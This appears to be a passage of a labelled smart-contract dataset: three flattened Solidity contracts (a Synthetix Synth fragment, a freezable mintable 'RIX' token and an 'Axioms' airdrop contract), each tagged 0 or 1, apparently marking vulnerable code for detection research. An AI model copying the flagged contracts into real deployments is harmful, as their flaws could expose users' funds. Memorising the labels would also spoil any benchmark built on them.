!= 0, "_feePool cannot be 0"); require(_owner != 0, "_owner cannot be 0"); require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use"); feePool = _feePool; synthetix = _synthetix; currencyKey = _currencyKey; } function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function setFeePool(FeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; emitFeePoolUpdated(_feePool); } function transfer(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, amountReceived, empty); } function transfer(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, amountReceived, data); } function transferFrom(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, amountReceived, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, amountReceived, data); } function transferSenderPaysFee(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); bytes memory empty; return _internalTransfer(messageSender, to, value, empty); } function transferSenderPaysFee(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); return _internalTransfer(messageSender, to, value, data); } function transferFromSenderPaysFee(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, value, empty); } function transferFromSenderPaysFee(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, value, data); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to); if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) { return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to); } else { return super._internalTransfer(from, to, value, data); } } function issue(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount)); totalSupply = totalSupply.add(amount); emitTransfer(address(0), account, amount); emitIssued(account, amount); } function burn(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount)); totalSupply = totalSupply.sub(amount); emitTransfer(account, address(0), amount); emitBurned(account, amount); } function setTotalSupply(uint amount) external optionalProxy_onlyOwner { totalSupply = amount; } function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount) external onlySynthetixOrFeePool { bytes memory empty; callTokenFallbackIfNeeded(sender, recipient, amount, empty); } modifier onlySynthetixOrFeePool() { bool isSynthetix = msg.sender == address(synthetix); bool isFeePool = msg.sender == address(feePool); require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address"); _; } event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } event FeePoolUpdated(address newFeePool); bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)"); function emitFeePoolUpdated(address newFeePool) internal { proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0); } event Issued(address indexed account, uint value); bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)"); function emitIssued(address account, uint value) internal { proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0); } event Burned(address indexed account, uint value); bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)"); function emitBurned(address account, uint value) internal { proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0); } }
0
2,371
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "RIX"; string public constant TOKEN_SYMBOL = "RĪX"; bool public constant PAUSED = true; address public constant TARGET_USER = 0x7C2f3E6085a51bB1A78bFe7d79b48A7A69241bA7; uint public constant START_TIME = 1533585600; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } }
1
4,898
pragma solidity ^0.4.25; contract Token { function transfer(address receiver, uint amount) public; function balanceOf(address receiver)public returns(uint); } contract Axioms { Airdrop [] public airdrops; address owner; uint idCounter; constructor () public { owner = msg.sender; } modifier minEth { require(msg.value >= 2000); _; } modifier onlyOwner() { require(msg.sender == owner); _; } struct Airdrop { uint id; uint tokenAmount; string name; uint countDown; address distributor; Token tokenSC; mapping(address => address) uniqueAirdrop; } function addNewAirdrop( uint _tokenAmount, string _name, uint _countDown, address _smartContract ) public minEth payable { Token t = Token(_smartContract); if(t.balanceOf(this)>=_tokenAmount){ uint lastIndex = airdrops.length++; Airdrop storage airdrop = airdrops[lastIndex]; airdrop.id =idCounter; airdrop.tokenAmount = _tokenAmount; airdrop.name=_name; airdrop.countDown=_countDown; airdrop.distributor = msg.sender; airdrop.tokenSC = Token(_smartContract); airdrop.uniqueAirdrop[msg.sender]=_smartContract; idCounter = airdrop.id+1; }else revert('Air Drop not added, Please make sure you send your ERC20 tokens to the smart contract before adding new airdrop'); } function distributeVariable( uint index, address[] _addrs, uint[] _vals ) public onlyOwner { if(timeGone(index)==true) { Airdrop memory airdrop = airdrops[index]; for(uint i = 0; i < _addrs.length; ++i) { airdrop.tokenSC.transfer(_addrs[i], _vals[i]); } } else revert("Distribution Failed: Count Down not gone yet"); } function distributeFixed( uint index, address[] _addrs, uint _amoutToEach ) public onlyOwner { if(timeGone(index)==true) { Airdrop memory airdrop = airdrops[index]; for(uint i = 0; i < _addrs.length; ++i) { airdrop.tokenSC.transfer(_addrs[i], _amoutToEach); } } else revert("Distribution Failed: Coun Down not gone yet"); } function refoundTokens( uint index, address receiver, address sc ) public onlyOwner { Airdrop memory airdrop = airdrops[index]; if(cheackIfAirDropIsUnique(index,receiver,sc)==true){ airdrop.tokenSC.transfer(airdrop.distributor,airdrop.tokenAmount); }else revert(); } function refoundLeftOverEth ( uint index, uint amount, address receiver, address sc ) public onlyOwner { Airdrop memory airdrop = airdrops[index]; if(cheackIfAirDropIsUnique(index,receiver,sc)==true){ airdrop.distributor.transfer(amount); }else revert(); } function timeGone(uint index) private view returns(bool){ Airdrop memory airdrop = airdrops[index]; uint timenow=now; if ( airdrop.countDown <timenow){ return (true); }else return (false); } function cheackIfAirDropIsUnique(uint index, address receiver, address sc) private view returns(bool){ Airdrop storage airdrop = airdrops[index]; if(airdrop.uniqueAirdrop[receiver]==sc){ return true; }else return false; } function transferOwnership(address _newOwner) public onlyOwner(){ require(_newOwner != address(0)); owner = _newOwner; } }
1
4,934